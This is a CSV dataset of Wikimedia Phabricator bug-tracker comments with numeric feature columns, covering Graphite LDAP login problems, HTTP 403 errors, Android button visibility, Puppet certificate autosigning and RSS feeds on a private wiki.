432482,logins on graphite,"@eevans are you clicking the ""login"" button in the upper right corner in the UI itself and then get the error? like i did? that doesn't work. but as RobH points out the initial pop-up auth from Apache works and is hooked up to LDAP. after that, regardless of the additional login link, you should already be able to see data when you uncollapse the tree on the left hand side.",,,1427303548,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ck5zs4f6qluz53tzlrnv,task_subcomment,,True,c3,1,True,,,-15,True,0.0,0.0,0.0,1.0,1.0,7.0,1.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,13.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,18.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,10.0,4.0,6.0,1.0,4.0,12.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,6.0,13.0,4.0,2.0,2.0,0.0,6.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,3.7349397590361444,0.7590361445783133,"SCREEN_NAME are you clicking the ""login"" button in the upper right corner in the UI itself and then get the error? like i did? that doesn't work. but as RobH points out the initial pop-up auth from Apache works and is hooked up to LDAP. after that, regardless of the additional login link, you should already be able to see data when you uncollapse the tree on the left hand side."
432443,logins on graphite,clarification: so i tested the initial login prompt on graphite.  The additional login option once the graphite web GUI loads doesn't work for me either.,,,1427300899,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-ck5zs4f6qluz53tzlrnv,task_subcomment,,True,c3,1,True,,,-15,True,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,7.0,7.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,13.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,4.3,0.8666666666666667,clarification: so i tested the initial login prompt on graphite.  The additional login option once the graphite web GUI loads doesn't work for me either.
432425,logins on graphite,"I can confirm that for me, my graphite and icinga login are identical (ldap) and both function.",,,1427299739,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-ck5zs4f6qluz53tzlrnv,task_subcomment,,True,c3,1,True,,,-15,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,14.0,5.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.761904761904762,0.9523809523809523,"I can confirm that for me, my graphite and icinga login are identical (ldap) and both function."
428874,logins on graphite,"that said, for Coren it works. and:


```
        # LDAP authentication
        AuthName ""WMF Labs (use wiki login name not shell)""
        AuthType Basic
        AuthBasicProvider ldap
        AuthLDAPBindDN cn=proxyagent,ou=profile,dc=wikimedia,dc=org
        AuthLDAPBindPassword XXXXXXXXXXX
        AuthLDAPURL ""ldaps://ldap-eqiad.wikimedia.org ldap-codfw.wikimedia.org/ou=people,dc=wikimedia,dc=org?cn""

        <LimitExcept OPTIONS>
                        Require ldap-group cn=ops,ou=groups,dc=wikimedia,dc=org
                        Require ldap-group cn=nda,ou=groups,dc=wikimedia,dc=org
                        Require ldap-group cn=wmf,ou=groups,dc=wikimedia,dc=org
                    </LimitExcept>

```",,,1426724645,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ck5zs4f6qluz53tzlrnv,task_subcomment,,True,c3,1,True,,,-15,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.8125,"that said, for Coren it works. and:


``CODE``"
93021,Occasionally getting 403 HTTP Method not allowed from bits,For example I just received this error while trying to GET http://bits.beta.wmflabs.org/static-master/extensions/VisualEditor/modules/ve-mw/init/ve.init.mw.js,Needs Triage,90.0,1426632739,1430784755.0,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-nr2rykz2i64vicqql4ad,task_description,duplicate,True,c3,1,True,False,True,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,25.0,0.0,8.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,25.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.25,1.0,For example I just received this error while trying to GET URL
453723,Occasionally getting 403 HTTP Method not allowed from bits,See T98046 for a more documented bug report :),,,1430784783,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-nr2rykz2i64vicqql4ad,task_subcomment,,True,c3,1,True,,,-9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,22.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,11.0,4.222222222222222,1.0,See T98046 for a more documented bug report :)
453483,Occasionally getting 403 HTTP Method not allowed from bits,Works for me.,,,1430763846,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-nr2rykz2i64vicqql4ad,task_subcomment,,True,c3,1,True,,,-9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,2.75,1.0,Works for me.
445508,Occasionally getting 403 HTTP Method not allowed from bits,Still an issue?,,,1429295849,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-nr2rykz2i64vicqql4ad,task_subcomment,,True,c3,1,True,,,-11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,Still an issue?
92850,Login/create account/captcha buttons not visible in 2.3,"Since we moved to app compat 22 several button visibility issues have occurred on my 2.3 device (DroidX).
The most important that's still outstanding is the buttons in Login/create account/captcha are not visible anymore.

Login:
{F95492}

Create account:
{F95495}

CAPTCHA:
{F95497}",Needs Triage,90.0,1426525697,1433856977.0,PHID-USER-tjyfydvd4ncrfvvr6mkr,False,PHID-USER-pbvnfgskfwsdalhpd7np,False,PHID-TASK-vb34bpe7rudx2bgjqthe,task_description,resolved,True,c3,1,False,False,True,-16,True,2.0,0.0,0.0,0.0,2.0,6.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,6.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,15.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,3.0,6.0,9.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.787878787878788,0.7727272727272727,"Since we moved to app compat 22 several button visibility issues have occurred on my 2.3 device (DroidX).
The most important that's still outstanding is the buttons in Login/create account/captcha are not visible anymore.

Login:
{F95492}

Create account:
{F95495}

CAPTCHA:
{F95497}"
427968,Login/create account/captcha buttons not visible in 2.3,"Gerrit patch to move back to previous appcompat version got merged: https://gerrit.wikimedia.org/r/#/c/197377/

Keeping this on the back burner for now to see what happens with the upstream bug.",,,1426626464,,PHID-USER-tjyfydvd4ncrfvvr6mkr,False,,,PHID-TASK-vb34bpe7rudx2bgjqthe,task_subcomment,,True,c3,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,19.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.161290322580645,0.8709677419354839,"Gerrit patch to move back to previous appcompat version got merged: URL

Keeping this on the back burner for now to see what happens with the upstream bug."
427872,Login/create account/captcha buttons not visible in 2.3,"The 'Got it' button in the ToC onboarding is affected, too.",,,1426616326,,PHID-USER-tjyfydvd4ncrfvvr6mkr,False,,,PHID-TASK-vb34bpe7rudx2bgjqthe,task_subcomment,,True,c3,1,False,,,-16,True,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,20.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.2666666666666666,0.9333333333333333,"The 'Got it' button in the ToC onboarding is affected, too."
427393,Login/create account/captcha buttons not visible in 2.3,"Upstream bug: https://code.google.com/p/android/issues/detail?id=160591

As mentioned there, we could use a gradient instead of a solid color but that seems pretty hacky.",,,1426550660,,PHID-USER-tjyfydvd4ncrfvvr6mkr,False,,,PHID-TASK-vb34bpe7rudx2bgjqthe,task_subcomment,,True,c3,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,12.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.88,0.96,"Upstream bug: URL

As mentioned there, we could use a gradient instead of a solid color but that seems pretty hacky."
92772,jupyter.wmflabs.org gives 500 http error code if user attempting to log in has special characters on their username,Things like 'Halfak (WMF)' will trigger this,Needs Triage,90.0,1426445809,1460477225.0,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-TASK-kowz3rt5gtzrdjyrbfkd,task_description,invalid,True,c3,1,True,True,False,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4545454545454546,0.9090909090909091,Things like 'Halfak (WMF)' will trigger this
92671,Decide upon tile distribution/HTTP caching strategy,This is gonna hurt.,Needs Triage,90.0,1426280063,1436390800.0,PHID-USER-aasrweh54ew7py3agvg2,False,PHID-USER-aasrweh54ew7py3agvg2,False,PHID-TASK-ng5szrcsgogtkvx5q323,task_description,resolved,True,c3,1,True,True,True,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,2.6666666666666665,1.0,This is gonna hurt.
488953,Decide upon tile distribution/HTTP caching strategy,I think we're good here.,,,1436390800,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-ng5szrcsgogtkvx5q323,task_subcomment,,True,c3,3,True,,,0,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,29.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.857142857142857,1.0,I think we're good here.
92606,Provide option to autosign puppet certs for self hosted puppetmasters,"In an effort to not require any manual effort at all for mass new creations, self hosted puppetmasters should be able to autosign certs.

This is already happening for the labs puppetmaster...",Needs Triage,90.0,1426228927,1426314661.0,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-TASK-ts7fbyq6omlprmmxjbe6,task_description,resolved,True,c3,1,True,True,True,-16,True,6.0,0.0,0.0,0.0,3.0,11.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,17.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.5,0.9166666666666666,"In an effort to not require any manual effort at all for mass new creations, self hosted puppetmasters should be able to autosign certs.

This is already happening for the labs puppetmaster..."
426381,Provide option to autosign puppet certs for self hosted puppetmasters,"Bam, done!",,,1426314661,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-ts7fbyq6omlprmmxjbe6,task_subcomment,,True,c3,1,True,,,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.25,1.0,"Bam, done!"
426021,Provide option to autosign puppet certs for self hosted puppetmasters,"Change 196537 merged by Andrew Bogott:
puppetmaster: Refactor out the auto key signer

[[https://gerrit.wikimedia.org/r/196537]]",,,1426261613,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ts7fbyq6omlprmmxjbe6,task_subcomment,,True,c3,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,23.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.090909090909091,0.8636363636363636,"Change 196537 merged by Andrew Bogott:
puppetmaster: Refactor out the auto key signer

[[GERRIT_URL]]"
425831,Provide option to autosign puppet certs for self hosted puppetmasters,"Change 196537 had a related patch set uploaded (by Yuvipanda):
puppetmaster: Refactor out the auto key signer

[[https://gerrit.wikimedia.org/r/196537]]
",,,1426229049,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ts7fbyq6omlprmmxjbe6,task_subcomment,,True,c3,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.9642857142857144,0.8928571428571429,"Change 196537 had a related patch set uploaded (by Yuvipanda):
puppetmaster: Refactor out the auto key signer

[[GERRIT_URL]]
"
92469,RSS RecentChanges does not work on login-required wiki,"I am trying to get Recent Changes RSS feeds to work from a wiki that requires login for access to most pages (some are whitelisted). I use tinytinyRSS, a web based feed aggregator. It's set up so that clicking on an RSS feed link generates a new feed. When I click on the recent changes RSS link in wikipedia, it creates a working link. When I click the same button in our password protected mediawiki it gives me an error: 
 No feeds found in http://ccmdb.kuality.ca/api.php?hidebots=1&days=7&limit=50&action=feedrecentchanges&feedformat=rss

When I look at the feed from a different browser (crome) that is not set up to push rss links into tinyRSS I get:
* When I am logged in, something that looks like an RSS feed
* When I log out I get the API instructions with <error code=""readapidenied"" info=""You need read permission to use this module"" xml:space=""preserve"">

When I look at the error in TinyRSS it says ""LibXML error 5 at line 3217 (column 1): Extra content at the end of the document"" 
When I copy and paste the API response into Notepad++ to count lines it only seems to have 3206.

TinyRSS allows me to access feeds with a login; using my login for this wiki makes no difference for this.

Am I going at this the wrong way? Thanks!",Needs Triage,90.0,1426123427,1546611999.0,PHID-USER-nho6nruikfxukgoipwm2,False,PHID-USER-uqcn2l4ng4murmyfnvyp,False,PHID-TASK-4jh3z2kcl4cg5xs3xbby,task_description,declined,True,c3,1,False,False,False,-16,True,0.3333333333333333,0.3333333333333333,0.0,1.0,0.3333333333333333,3.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.3333333333333333,0.0,5.666666666666667,0.0,3.3333333333333335,12.333333333333334,0.3333333333333333,2.6666666666666665,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,9.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.0,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,16.666666666666668,1.3333333333333333,1.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,6.333333333333333,1.6666666666666667,13.0,2.6666666666666665,0.3333333333333333,9.0,0.0,0.0,0.3333333333333333,0.0,3.3333333333333335,0.0,1.6666666666666667,0.0,7.333333333333333,12.333333333333334,3.0,0.3333333333333333,1.6666666666666667,0.0,7.333333333333333,0.0,3.3333333333333335,3.0,0.6666666666666666,1.6666666666666667,0.0,0.3333333333333333,1.0,3.6671226630186955,0.7344733242134063,"I am trying to get Recent Changes RSS feeds to work from a wiki that requires login for access to most pages (some are whitelisted). I use tinytinyRSS, a web based feed aggregator. It's set up so that clicking on an RSS feed link generates a new feed. When I click on the recent changes RSS link in wikipedia, it creates a working link. When I click the same button in our password protected mediawiki it gives me an error: 
 No feeds found in URL

When I look at the feed from a different browser (crome) that is not set up to push rss links into tinyRSS I get:
* When I am logged in, something that looks like an RSS feed
* When I log out I get the API instructions with <error code=""readapidenied"" info=""You need read permission to use this module"" xml:space=""preserve"">

When I look at the error in TinyRSS it says ""LibXML error 5 at line 3217 (column 1): Extra content at the end of the document"" 
When I copy and paste the API response into Notepad++ to count lines it only seems to have 3206.

TinyRSS allows me to access feeds with a login; using my login for this wiki makes no difference for this.

Am I going at this the wrong way? Thanks!"
1203816,RSS RecentChanges does not work on login-required wiki,"Since someone dumped this on #core_platform_team...

The bottom line here is that, on a private wiki, you need to be logged in in order to access the recent changes feed. That's the permissions mechanism working correctly. A client wanting to do that is going to have to implement a supported authentication method, whether that's maintaining the login cookies, using OAuth, or something else MediaWiki might support.

As noted in T92469#1743615, adding of parameters to work like the `action=feedwatchlist`'s `wlowner` and `wltoken` would be a possibility, but no one has called for that since and use of OAuth would likely be more secure.",,,1546611999,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-4jh3z2kcl4cg5xs3xbby,task_subcomment,,True,c3,3,True,,,183,True,0.0,1.5,0.0,0.5,0.0,2.5,2.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,1.0,3.5,13.0,1.5,3.5,0.0,1.5,0.0,0.5,1.0,0.0,0.0,1.0,1.5,1.0,3.5,1.0,0.0,1.5,0.5,0.0,0.0,0.5,0.5,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.5,1.5,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,5.5,3.0,8.5,2.5,3.5,9.5,0.0,0.0,0.0,0.5,6.0,0.0,0.0,0.0,0.5,13.0,5.5,0.0,0.0,0.0,0.5,0.0,0.0,2.5,0.0,4.0,1.0,0.0,0.0,4.275,0.775,"Since someone dumped this on #core_platform_team...

The bottom line here is that, on a private wiki, you need to be logged in in order to access the recent changes feed. That's the permissions mechanism working correctly. A client wanting to do that is going to have to implement a supported authentication method, whether that's maintaining the login cookies, using OAuth, or something else MediaWiki might support.

As noted in T92469#1743615, adding of parameters to work like the CODE's CODE and CODE would be a possibility, but no one has called for that since and use of OAuth would likely be more secure."
1203227,RSS RecentChanges does not work on login-required wiki,"@JTannerWMF: If this is not #MediaWiki-Recent-changes, which software project tag should be associated to this task?",,,1546532147,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4jh3z2kcl4cg5xs3xbby,task_subcomment,,True,c3,3,True,,,183,True,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,4.0,0.0,12.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.208333333333333,0.9166666666666666,"SCREEN_NAME: If this is not #MediaWiki-Recent-changes, which software project tag should be associated to this task?"
